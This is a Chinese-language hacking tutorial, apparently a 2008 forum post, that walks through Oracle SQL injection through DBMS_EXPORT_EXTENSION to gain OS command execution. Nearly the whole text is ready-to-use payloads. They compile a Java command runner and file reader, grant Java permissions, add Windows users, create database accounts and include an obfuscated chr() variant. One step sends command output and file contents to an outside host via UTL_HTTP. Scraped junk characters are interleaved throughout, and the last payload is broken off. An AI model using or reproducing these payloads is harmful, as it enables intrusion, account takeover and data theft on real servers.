实例演示oracle注入获取cmdshell的全过程

admin

以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
* H3 m$ z- v& t9 L- P4 l
　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
* R4 o) o: `# W* B+ E的形式即可。(用" 'a'|| "是为了让语句返回true值)
) t* D6 C2 _& x7 t1 m0 @- U语句有点长，可能要用post提交。
以下是各个步骤：
# j" K( Y  i8 o6 @& r: D. {- ~1.创建包
2 E7 b7 x( y; ?/ l& N通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
& w1 D; E; `+ N/xxx.jsp?id=1 and '1'<>'a'||(
8 Y2 R+ }) T% Z/ Q2 K# c' x7 k4 aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 H4 ?( W& \% g1 jcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
5 V7 V4 X1 r$ W- W6 B4 O5 d' j/ gnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
------------------------
如果url有长度限制，可以把readFile()函数块去掉，即：
+ r3 S( E0 A( r3 I! P/xxx.jsp?id=1 and '1'<>'a'||(
% ~$ `: d0 f9 X9 I( ?  N& U: B* `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 f( i4 q5 y( `- i! y4 bcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
2 a: Q  D& z- tnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
+ t. ]( i5 }' ])
, b4 F7 @2 r2 U/ H7 q9 A. {2 Z& I同时把后面步骤 提到的 对readFile()的处理语句去掉。
------------------------------
2.赋Java权限
( T  x9 b) N, ^5 V2 q- U5 wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
$ P& l# A: }2 H& b6 d3.创建函数
7 A4 J# b4 l: _& }  @select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" {  \( u+ P# Q- b, v0 Gcreate or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
4.赋public执行函数的权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
/ g8 r/ Q- ]7 o5 |# ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
5.测试上面的几步是否成功
! F1 E1 ]) O3 Z+ B1 sand '1'<>'11'||(
. s, N8 F$ D3 yselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
5 L% c" e* ^% e)
1 x& e' ]' z: k! t8 c( u6.执行命令：
3 I( S  H; p  J' S' u( ]) @6 Z/xxx.jsp?id=1 and '1'<>(
7 U3 W6 y- ]) R8 [  zselect  sys.LinxRunCMD('cmd /c net user linx /add') from dual

+ ^0 A8 D+ Q% Y2 L)
3 m  j, J4 ?7 P" r2 i) R3 J* R/xxx.jsp?id=1 and '1'<>(
% E4 f5 U6 I9 F' ^) u4 zselect  sys.LinxReadFile('c:/boot.ini') from dual

( _7 t+ k3 n- Z% ?) ]3 R: @)
　　
6 l* `- N0 O- N3 H, f注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
如果要查看运行结果可以用 union :
1 [* J6 O1 x' j5 ?4 C; S8 M$ ]/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
: n) ]/ K! r: F* |% U8 Q  P或者UTL_HTTP.request(:
7 D) L, j7 |$ _2 ]4 h. i/xxx.jsp?id=1 and '1'<>(
' v. W4 s7 k% ^0 p  b2 ?' ?# uSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
6 S* }5 p& ?" Z# U& v+ I2 |, I+ e--------------------
4 p+ K; A% }6 b# X7 U2 S, c  [. P6.内部变化
( Z" d; e) t  p, I# R通过以下命令可以查看all_objects表达改变：
! i) g5 Z6 V4 }+ ^select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
; N4 T  Y* _; s& k' E7.删除我们创建的函数
) p2 V7 Z9 O# Dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
  [8 x3 ?3 x, g) o3 T  L====================================================
: [" u- ?; S8 o% r: L# B; B全文结束。谨以此文赠与我的朋友。
& W0 {  M& k9 M+ Zlinx
( T& N$ g* k- A2 J; X  F7 }124829445
2008.1.12
linyujian@bjfu.edu.cn
======================================================================
测试漏洞的另一方法：
  b" B% T# j0 ^# n) F) C创建oracle帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
5 _, W4 a: _0 c0 c- Cchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
; d; W+ X6 v1 m# M确定漏洞存在：
1<>(
2 h* j4 q8 g7 `- b/ G1 d: Bselect user_id from all_users where username='LINXSQL'
)
5 Z  h3 N; Z# u" q给linxsql连接权限：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" H; O2 L$ C" T8 e, L. D1 p0 V$ ~GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
删除帐号：
% \: s% q* @2 p. F1 Cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
======================
以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
# [. D4 r  Z% W% C! }! N: }$ j1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
) u" G/ m9 _# X　)
4 q6 B; [0 U& ~


8 D1 I3 Q- e4 k4 u